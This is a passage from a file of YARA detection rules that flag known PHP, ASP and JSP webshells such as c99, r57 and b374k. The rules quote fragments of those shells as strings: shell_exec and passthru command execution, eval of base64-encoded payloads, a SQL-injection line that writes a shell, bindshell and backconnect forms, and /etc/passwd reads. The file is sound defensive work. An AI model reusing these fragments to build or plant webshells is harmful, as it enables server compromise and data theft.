		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "elseif (!empty($ft)) {echo \"<center><b>Manually selected type is incorrect. I"
		$s1 = "else {echo \"<center><b>Unknown extension (\".$ext.\"), please, select type ma"
		$s3 = "$s = \"!^(\".implode(\"|\",$tmp).\")$!i\";" fullword

	condition:
		all of them
}

rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_1_SpecialShell_99_php_php
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "3ca5886cd54d495dc95793579611f59a"
		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
		hash3 = "44542e5c3e9790815c49d5f9beffbbf2"
		hash4 = "09609851caa129e40b0d56e90dfc476c"
		id = "4915146e-141c-5515-ac5a-61901d42dc40"

	strings:
		$s0 = "if ($total === FALSE) {$total = 0;}" fullword
		$s1 = "$free_percent = round(100/($total/$free),2);" fullword
		$s2 = "if (!$bool) {$bool = is_dir($letter.\":\\\\\");}" fullword
		$s3 = "$bool = $isdiskette = in_array($letter,$safemode_diskettes);" fullword

	condition:
		2 of them
}

rule _r577_php_php_r57_php_php_spy_php_php_s_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, spy.php.php.txt, s.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
		hash3 = "817671e1bdc85e04cc3440bbd9288800"
		id = "022d2255-50cd-500b-8d91-8e34f3c46fcf"

	strings:
		$s0 = "$res = mssql_query(\"select * from r57_temp_table\",$db);" fullword
		$s2 = "'eng_text30'=>'Cat file'," fullword
		$s3 = "@mssql_query(\"drop table r57_temp_table\",$db);" fullword

	condition:
		1 of them
}

rule _nixrem_php_php_c99shell_v1_0_php_php_c99php_NIX_REMOTE_WEB_SHELL_v_0_5_alpha_Lite_Public_Version_php
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "40a3e86a63d3d7f063a86aab5b5f92c6"
		hash1 = "d8ae5819a0a2349ec552cbcf3a62c975"
		hash2 = "9e9ae0332ada9c3797d6cee92c2ede62"
		hash3 = "f3ca29b7999643507081caab926e2e74"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s0 = "$num = $nixpasswd + $nixpwdperpage;" fullword
		$s1 = "$ret = posix_kill($pid,$sig);" fullword
		$s2 = "if ($uid) {echo join(\":\",$uid).\"<br>\";}" fullword
		$s3 = "$i = $nixpasswd;" fullword

	condition:
		2 of them
}

rule DarkSecurityTeam_Webshell
{
	meta:
		description = "Dark Security Team Webshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
		score = 50
		id = "78dcd62f-9215-5571-a5ef-5f811ce9672f"

	strings:
		$s0 = "form method=post><input type=hidden name=\"\"#\"\" value=Execute(Session(\"\"#\"\"))><input name=thePath value=\"\"\"&HtmlEncode(Server.MapPath(\".\"))&" ascii

	condition:
		1 of them
}

rule PHP_Cloaked_Webshell_SuperFetchExec
{
	meta:
		description = "Looks like a webshell cloaked as GIF - http://goo.gl/xFvioC"
		reference = "http://goo.gl/xFvioC"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 50
		id = "4611129a-9865-5603-b1ec-7db0058a80d7"

	strings:
		$s0 = "else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d);"

	condition:
		$s0
}

rule WebShell_RemExp_asp_php
{
	meta:
		description = "PHP Webshells Github Archive - file RemExp.asp.php.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "d9919dcf94a70d5180650de8b81669fa1c10c5a2"
		id = "274c8816-2711-5f12-937e-549ec2d57ce1"

	strings:
		$s0 = "lsExt = Right(FileName, Len(FileName) - liCount)" fullword
		$s7 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"
		$s13 = "Response.Write Drive.ShareName & \" [share]\"" fullword
		$s19 = "If Request.QueryString(\"CopyFile\") <> \"\" Then" fullword
		$s20 = "<td width=\"40%\" height=\"20\" bgcolor=\"silver\">  Name</td>" fullword

	condition:
		all of them
}

rule WebShell_dC3_Security_Crew_Shell_PRiV
{
	meta:
		description = "PHP Webshells Github Archive - file dC3_Security_Crew_Shell_PRiV.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1b2a4a7174ca170b4e3a8cdf4814c92695134c8a"
		id = "c83bb4ba-6b4e-5a88-925b-b93d08b304e4"

	strings:
		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
		$s4 = "$ps=str_replace(\"\\\\\",\"/\",getenv('DOCUMENT_ROOT'));" fullword
		$s5 = "header(\"Expires: \".date(\"r\",mktime(0,0,0,1,1,2030)));" fullword
		$s15 = "search_file($_POST['search'],urldecode($_POST['dir']));" fullword
		$s16 = "echo base64_decode($images[$_GET['pic']]);" fullword
		$s20 = "if (isset($_GET['rename_all'])) {" fullword

	condition:
		3 of them
}

rule WebShell_simattacker
{
	meta:
		description = "PHP Webshells Github Archive - file simattacker.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "258297b62aeaf4650ce04642ad5f19be25ec29c9"
		id = "2408fad8-780f-50de-a309-99d14a1d87b6"

	strings:
		$s1 = "$from = rand (71,1020000000).\"@\".\"Attacker.com\";" fullword
		$s4 = "&nbsp;Turkish Hackers : WWW.ALTURKS.COM <br>" fullword
		$s5 = "&nbsp;Programer : SimAttacker - Edited By KingDefacer<br>" fullword
		$s6 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
		$s10 = "&nbsp;e-mail : kingdefacer@msn.com<br>" fullword
		$s17 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
		$s18 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
		$s20 = "$Comments=$_POST['Comments'];" fullword

	condition:
		2 of them
}

rule WebShell_DTool_Pro
{
	meta:
		description = "PHP Webshells Github Archive - file DTool Pro.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "e2ee1c7ba7b05994f65710b7bbf935954f2c3353"
		id = "9f2922d1-b2af-58ae-b194-ecb33577effa"

	strings:
		$s1 = "function PHPget(){inclVar(); if(confirm(\"O PHPget agora oferece uma lista pront"
		$s2 = "<font size=3>by r3v3ng4ns - revengans@gmail.com </font>" fullword
		$s3 = "function PHPwriter(){inclVar();var url=prompt(\"[ PHPwriter ] by r3v3ng4ns\\nDig"
		$s11 = "//Turns the 'ls' command more usefull, showing it as it looks in the shell" fullword
		$s13 = "if (@file_exists(\"/usr/bin/wget\")) $pro3=\"<i>wget</i> at /usr/bin/wget, \";" fullword
		$s14 = "//To keep the changes in the url, when using the 'GET' way to send php variables" fullword
		$s16 = "function PHPf(){inclVar();var o=prompt(\"[ PHPfilEditor ] by r3v3ng4ns\\nDigite "
		$s18 = "if(empty($fu)) $fu = @$_GET['fu'];" fullword

	condition:
		3 of them
}

rule WebShell_IronShell_4
{
	meta:
		description = "PHP Webshells Github Archive - file ironshell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		old_rule_name = "WebShell_ironshell"
		hash = "d47b8ba98ea8061404defc6b3a30839c4444a262"
		id = "06e87e02-372b-5d4e-be52-5515a068665b"

	strings:
		$s0 = "<title>'.getenv(\"HTTP_HOST\").' ~ Shell I</title>" fullword
		$s2 = "$link = mysql_connect($_POST['host'], $_POST['username'], $_POST"
		$s4 = "error_reporting(0); //If there is an error, we'll show it, k?" fullword
		$s8 = "print \"<form action=\\\"\".$me.\"?p=chmod&file=\".$content.\"&d"
		$s15 = "if(!is_numeric($_POST['timelimit']))" fullword
		$s16 = "if($_POST['chars'] == \"9999\")" fullword
		$s17 = "<option value=\\\"az\\\">a - zzzzz</option>" fullword
		$s18 = "print shell_exec($command);" fullword

	condition:
		3 of them
}

rule WebShell_indexer_asp_php
{
	meta:
		description = "PHP Webshells Github Archive - file indexer.asp.php.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "e9a7aa5eb1fb228117dc85298c7d3ecd8e288a2d"
		id = "d6e17429-1b58-5a1b-846d-f5dbfd74cf3a"

	strings:
		$s0 = "<meta http-equiv=\"Content-Language\" content=\"tr\">" fullword
		$s1 = "<title>WwW.SaNaLTeRoR.OrG - inDEXER And ReaDer</title>" fullword
		$s2 = "<form action=\"?Gonder\" method=\"post\">" fullword
		$s4 = "<form action=\"?oku\" method=\"post\">" fullword
		$s7 = "var message=\"SaNaLTeRoR - " fullword
		$s8 = "nDexEr - Reader\"" fullword

	condition:
		3 of them
}

rule WebShell_toolaspshell
{
	meta:
		description = "PHP Webshells Github Archive - file toolaspshell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "11d236b0d1c2da30828ffd2f393dd4c6a1022e3f"
		id = "016af030-4991-583c-aab5-a2933ae0eeec"

	strings:
		$s0 = "cprthtml = \"<font face='arial' size='1'>RHTOOLS 1.5 BETA(PVT) Edited By KingDef"
		$s12 = "barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),\"\\\")) - 1" fullword
		$s20 = "destino3 = folderItem.path & \"\\index.asp\"" fullword

	condition:
		2 of them
}

rule WebShell_b374k_mini_shell_php_php
{
	meta:
		description = "PHP Webshells Github Archive - file b374k-mini-shell-php.php.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "afb88635fbdd9ebe86b650cc220d3012a8c35143"
		id = "d5b0dfa5-46b5-5323-a8e8-b119d8c2c8e5"

	strings:
		$s0 = "@error_reporting(0);" fullword
		$s2 = "@eval(gzinflate(base64_decode($code)));" fullword
		$s3 = "@set_time_limit(0); " fullword

	condition:
		all of them
}

rule WebShell_Sincap_1_0
{
	meta:
		description = "PHP Webshells Github Archive - file Sincap 1.0.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "9b72635ff1410fa40c4e15513ae3a496d54f971c"
		id = "38d39739-660f-596d-a297-1f0dfe530797"

	strings:
		$s4 = "</font></span><a href=\"mailto:shopen@aventgrup.net\">" fullword
		$s5 = "<title>:: AventGrup ::.. - Sincap 1.0 | Session(Oturum) B" fullword
		$s9 = "</span>Avrasya Veri ve NetWork Teknolojileri Geli" fullword
		$s12 = "while (($ekinci=readdir ($sedat))){" fullword
		$s19 = "$deger2= \"$ich[$tampon4]\";" fullword

	condition:
		2 of them
}

rule WebShell_b374k_php
{
	meta:
		description = "PHP Webshells Github Archive - file b374k.php.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "04c99efd187cf29dc4e5603c51be44170987bce2"
		id = "73eb7d8d-14bb-5bc2-90b2-90b6bd603bd1"

	strings:
		$s0 = "// encrypt your password to md5 here http://kerinci.net/?x=decode" fullword
		$s6 = "// password (default is: b374k)"
		$s8 = "//******************************************************************************"
		$s9 = "// b374k 2.2" fullword
		$s10 = "eval(\"?>\".gzinflate(base64_decode("

	condition:
		3 of them
}

rule WebShell_SimAttacker___Vrsion_1_0_0___priv8_4_My_friend
{
	meta:
		description = "PHP Webshells Github Archive - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "6454cc5ab73143d72cf0025a81bd1fe710351b44"
		id = "3e0bae7d-77a1-5439-bbe7-177bec23cea0"

	strings:
		$s4 = "&nbsp;Iranian Hackers : WWW.SIMORGH-EV.COM <br>" fullword
		$s5 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
		$s10 = "<a style=\"TEXT-DECORATION: none\" href=\"http://www.simorgh-ev.com\">" fullword
		$s16 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
		$s17 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
		$s19 = "$Comments=$_POST['Comments'];" fullword
		$s20 = "Victim Mail :<br><input type='text' name='to' ><br>" fullword

	condition:
		3 of them
}

rule WebShell_h4ntu_shell__powered_by_tsoi_
{
	meta:
		description = "PHP Webshells Github Archive - file h4ntu shell [powered by tsoi].php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "cbca8cd000e705357e2a7e0cf8262678706f18f9"
		id = "5a12a025-6497-545a-8da0-423ef448e374"

	strings:
		$s11 = "<title>h4ntu shell [powered by tsoi]</title>" fullword
		$s13 = "$cmd = $_POST['cmd'];" fullword
		$s16 = "$uname = posix_uname( );" fullword
		$s17 = "if(!$whoami)$whoami=exec(\"whoami\");" fullword
		$s18 = "echo \"<p><font size=2 face=Verdana><b>This Is The Server Information</b></font>"
		$s20 = "ob_end_clean();" fullword

	condition:
		3 of them
}

rule WebShell_php_webshells_MyShell
{
	meta:
		description = "PHP Webshells Github Archive - file MyShell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "42e283c594c4d061f80a18f5ade0717d3fb2f76d"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "<title>MyShell error - Access Denied</title>" fullword
		$s4 = "$adminEmail = \"youremail@yourserver.com\";" fullword
		$s5 = "//A workdir has been asked for - we chdir to that dir." fullword
		$s6 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
		$s13 = "#$autoErrorTrap Enable automatic error traping if command returns error." fullword
		$s14 = "/* No work_dir - we chdir to $DOCUMENT_ROOT */" fullword
		$s19 = "#every command you excecute." fullword
		$s20 = "<form name=\"shell\" method=\"post\">" fullword

	condition:
		3 of them
}

rule WebShell_php_webshells_pws
{
	meta:
		description = "PHP Webshells Github Archive - file pws.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "7a405f1c179a84ff8ac09a42177a2bcd8a1a481b"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s6 = "if ($_POST['cmd']){" fullword
		$s7 = "$cmd = $_POST['cmd'];" fullword
		$s10 = "echo \"FILE UPLOADED TO $dez\";" fullword
		$s11 = "if (file_exists($uploaded)) {" fullword
		$s12 = "copy($uploaded, $dez);" fullword
		$s17 = "passthru($cmd);" fullword

	condition:
		4 of them
}

rule WebShell_reader_asp_php
{
	meta:
		description = "PHP Webshells Github Archive - file reader.asp.php.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "70656f3495e2b3ad391a77d5208eec0fb9e2d931"
		id = "80ec18e1-6f41-5188-b2d5-f4228c975fa1"

	strings:
		$s5 = "ster\" name=submit> </Font> &nbsp; &nbsp; &nbsp; <a href=mailto:mailbomb@hotmail"
		$s12 = " HACKING " fullword
		$s16 = "FONT-WEIGHT: bold; BACKGROUND: #ffffff url('images/cellpic1.gif'); TEXT-INDENT: "
		$s20 = "PADDING-RIGHT: 8px; PADDING-LEFT: 8px; FONT-WEIGHT: bold; FONT-SIZE: 11px; BACKG"

	condition:
		3 of them
}

rule WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2_3
{
	meta:
		description = "PHP Webshells Github Archive - file Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		old_rule_name = "WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2"
		hash = "db076b7c80d2a5279cab2578aa19cb18aea92832"
		id = "349cf6ac-92b3-59f7-a6e4-c23e69b454c6"

	strings:
		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword
		$s9 = "\".htmlspecialchars($file).\" has been already loaded. PHP Emperor <xb5@hotmail."
		$s11 = "die(\"<FONT COLOR=\\\"RED\\\"><CENTER>Sorry... File" fullword
		$s15 = "if(empty($_GET['file'])){" fullword
		$s16 = "echo \"<head><title>Safe Mode Shell</title></head>\"; " fullword

	condition:
		3 of them
}

rule WebShell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit_2
{
	meta:
		description = "PHP Webshells Github Archive - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		old_rule_name = "WebShell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit"
		hash = "b2b797707e09c12ff5e632af84b394ad41a46fa4"
		id = "b647f529-be81-51ad-b671-84aec410e133"

	strings:
		$s4 = "$liz0zim=shell_exec($_POST[liz0]); " fullword
		$s6 = "$liz0=shell_exec($_POST[baba]); " fullword
		$s9 = "echo \"<b><font color=blue>Liz0ziM Private Safe Mode Command Execuriton Bypass E"
		$s12 = " :=) :</font><select size=\"1\" name=\"liz0\">" fullword
		$s13 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword

	condition:
		1 of them
}

rule WebShell_PHP_Backdoor_2
{
	meta:
		description = "PHP Webshells Github Archive - file php-backdoor.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		old_rule_name = "WebShell_php_backdoor"
		hash = "b190c03af4f3fb52adc20eb0f5d4d151020c74fe"
		id = "65e1305b-4fc7-5885-b3df-92846bb57fe3"

	strings:
		$s5 = "http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix" fullword
		$s6 = "// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombi"
		$s11 = "if(!isset($_REQUEST['dir'])) die('hey,specify directory!');" fullword
		$s13 = "else echo \"<a href='$PHP_SELF?f=$d/$dir'><font color=black>\";" fullword
		$s15 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "

	condition:
		1 of them
}

rule WebShell_Worse_Linux_Shell_2
{
	meta:
		description = "PHP Webshells Github Archive - file Worse Linux Shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		old_rule_name = "WebShell_Worse_Linux_Shell"
		hash = "64623ab1246bc8f7d256b25f244eb2b41f543e96"
		id = "04ed7464-29d1-54b9-98ff-afc03475b220"

	strings:
		$s4 = "if( $_POST['_act'] == \"Upload!\" ) {" fullword
		$s5 = "print \"<center><h1>#worst @dal.net</h1></center>\";" fullword
		$s7 = "print \"<center><h1>Linux Shells</h1></center>\";" fullword
		$s8 = "$currentCMD = \"ls -la\";" fullword
		$s14 = "print \"<tr><td><b>System type:</b></td><td>$UName</td></tr>\";" fullword
		$s19 = "$currentCMD = str_replace(\"\\\\\\\\\",\"\\\\\",$_POST['_cmd']);" fullword

	condition:
		2 of them
}

rule WebShell_php_webshells_pHpINJ
{
	meta:
		description = "PHP Webshells Github Archive - file pHpINJ.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "75116bee1ab122861b155cc1ce45a112c28b9596"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';" fullword
		$s10 = "<form action = \"<?php echo \"$_SERVER[PHP_SELF]\" ; ?>\" method = \"post\">" fullword
		$s11 = "$sql = \"0' UNION SELECT '0' , '<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 IN"
		$s13 = "Full server path to a writable file which will contain the Php Shell <br />" fullword
		$s14 = "$expurl= $url.\"?id=\".$sql ;" fullword
		$s15 = "<header>||   .::News PHP Shell Injection::.   ||</header> <br /> <br />" fullword
		$s16 = "<input type = \"submit\" value = \"Create Exploit\"> <br /> <br />" fullword

	condition:
		1 of them
}

rule WebShell_php_webshells_NGH
{
	meta:
		description = "PHP Webshells Github Archive - file NGH.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "c05b5deecfc6de972aa4652cb66da89cfb3e1645"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<title>Webcommander at <?=$_SERVER[\"HTTP_HOST\"]?></title>" fullword
		$s2 = "/* Webcommander by Cr4sh_aka_RKL v0.3.9 NGH edition :p */" fullword
		$s5 = "<form action=<?=$script?>?act=bindshell method=POST>" fullword
		$s9 = "<form action=<?=$script?>?act=backconnect method=POST>" fullword
		$s11 = "<form action=<?=$script?>?act=mkdir method=POST>" fullword
		$s16 = "die(\"<font color=#DF0000>Login error</font>\");" fullword
		$s20 = "<b>Bind /bin/bash at port: </b><input type=text name=port size=8>" fullword

	condition:
		2 of them
}

rule WebShell_php_webshells_matamu
{
	meta:
		description = "PHP Webshells Github Archive - file matamu.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "d477aae6bd2f288b578dbf05c1c46b3aaa474733"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "$command .= ' -F';" fullword
		$s3 = "/* We try and match a cd command. */" fullword
		$s4 = "directory... Trust me - it works :-) */" fullword
		$s5 = "$command .= \" 1> $tmpfile 2>&1; \" ." fullword
		$s10 = "$new_dir = $regs[1]; // 'cd /something/...'" fullword
		$s16 = "/* The last / in work_dir were the first charecter." fullword

	condition:
		2 of them
}

rule WebShell_ru24_post_sh
{
	meta:
		description = "PHP Webshells Github Archive - file ru24_post_sh.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "d2c18766a1cd4dda928c12ff7b519578ccec0769"
		id = "86a45d72-c42d-58d5-9969-d3ebfc22853d"

	strings:
		$s1 = "http://www.ru24-team.net" fullword
		$s4 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
		$s6 = "Ru24PostWebShell"
		$s7 = "Writed by DreAmeRz" fullword
		$s9 = "$function=passthru; // system, exec, cmd" fullword

	condition:
		1 of them
}

rule WebShell_hiddens_shell_v1
{
	meta:
		description = "PHP Webshells Github Archive - file hiddens shell v1.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1674bd40eb98b48427c547bf9143aa7fbe2f4a59"
		id = "7194998e-c84c-5f59-92fe-857ecf7e8e88"

	strings:
		$s0 = "<?$d='G7mHWQ9vvXiL/QX2oZ2VTDpo6g3FYAa6X+8DMIzcD0eHZaBZH7jFpZzUz7XNenxSYvBP2Wy36U"

	condition:
		all of them
}

rule WebShell_c99_madnet
{
	meta:
		description = "PHP Webshells Github Archive - file c99_madnet.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "17613df393d0a99fd5bea18b2d4707f566cff219"
		id = "f2b9c3d1-1c55-59cb-a9bf-8b4011f86a3b"

	strings:
		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
		$s1 = "eval(gzinflate(base64_decode('"
		$s2 = "$pass = \"pass\";  //Pass" fullword
		$s3 = "$login = \"user\"; //Login" fullword
		$s4 = "             //Authentication" fullword

	condition:
		all of them
}

rule WebShell_c99_locus7s
{
	meta:
		description = "PHP Webshells Github Archive - file c99_locus7s.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "d413d4700daed07561c9f95e1468fb80238fbf3c"
		id = "f92fe5a2-e465-56ed-a77b-b32ea4c2c105"

	strings:
		$s8 = "$encoded = base64_encode(file_get_contents($d.$f)); " fullword
		$s9 = "$file = $tmpdir.\"dump_\".getenv(\"SERVER_NAME\").\"_\".$db.\"_\".date(\"d-m-Y"
		$s10 = "else {$tmp = htmlspecialchars(\"./dump_\".getenv(\"SERVER_NAME\").\"_\".$sq"
		$s11 = "$c99sh_sourcesurl = \"http://locus7s.com/\"; //Sources-server " fullword
		$s19 = "$nixpwdperpage = 100; // Get first N lines from /etc/passwd " fullword

	condition:
		2 of them
}

rule WebShell_JspWebshell_1_2
{
	meta:
		description = "PHP Webshells Github Archive - file JspWebshell_1.2.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "0bed4a1966117dd872ac9e8dceceb54024a030fa"
		id = "dfd8c88d-4fe2-5786-9d71-65dba525c358"

	strings:
		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
		$s1 = "String password=request.getParameter(\"password\");" fullword
		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
		$s7 = "String editfile=request.getParameter(\"editfile\");" fullword
		$s8 = "//String tempfilename=request.getParameter(\"file\");" fullword
		$s12 = "password = (String)session.getAttribute(\"password\");" fullword

	condition:
		3 of them
}

rule WebShell_safe0ver
{
	meta:
		description = "PHP Webshells Github Archive - file safe0ver.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "366639526d92bd38ff7218b8539ac0f154190eb8"
		id = "a7fc8c89-f7a1-5958-823a-763dedb3066d"

	strings:
		$s3 = "$scriptident = \"$scriptTitle By Evilc0der.com\";" fullword
		$s4 = "while (file_exists(\"$lastdir/newfile$i.txt\"))" fullword
		$s5 = "else { /* <!-- Then it must be a File... --> */" fullword
		$s7 = "$contents .= htmlentities( $line ) ;" fullword
		$s8 = "<br><p><br>Safe Mode ByPAss<p><form method=\"POST\">" fullword
		$s14 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
		$s20 = "/* <!-- End of Actions --> */" fullword

	condition:
		3 of them
}

rule WebShell_Uploader
{
	meta:
		description = "PHP Webshells Github Archive - file Uploader.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "e216c5863a23fde8a449c31660fd413d77cce0b7"
		id = "c68e15d9-865e-5269-a91c-00619fe76305"

	strings:
		$s1 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword

	condition:
		all of them
}

rule WebShell_php_webshells_kral
{
	meta:
		description = "PHP Webshells Github Archive - file kral.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "4cd1d1a2fd448cecc605970e3a89f3c2e5c80dfc"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "$adres=gethostbyname($ip);" fullword
		$s3 = "curl_setopt($ch,CURLOPT_POSTFIELDS,\"domain=\".$site);" fullword
		$s4 = "$ekle=\"/index.php?option=com_user&view=reset&layout=confirm\";" fullword
		$s16 = "echo $son.' <br> <font color=\"green\">Access</font><br>';" fullword
		$s17 = "<p>kodlama by <a href=\"mailto:priv8coder@gmail.com\">BLaSTER</a><br /"
		$s20 = "<p><strong>Server listeleyici</strong><br />" fullword

	condition:
		2 of them
}

rule WebShell_cgitelnet
{
	meta:
		description = "PHP Webshells Github Archive - file cgitelnet.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "72e5f0e4cd438e47b6454de297267770a36cbeb3"
		id = "b02d8549-ebfe-522c-9a6d-8657273da3ed"

	strings:
		$s9 = "# Author Homepage: http://www.rohitab.com/" fullword
		$s10 = "elsif($Action eq \"command\") # user wants to run a command" fullword
		$s18 = "# in a command line on Windows NT." fullword
		$s20 = "print \"Transfered $TargetFileSize Bytes.<br>\";" fullword

	condition:
		2 of them
}

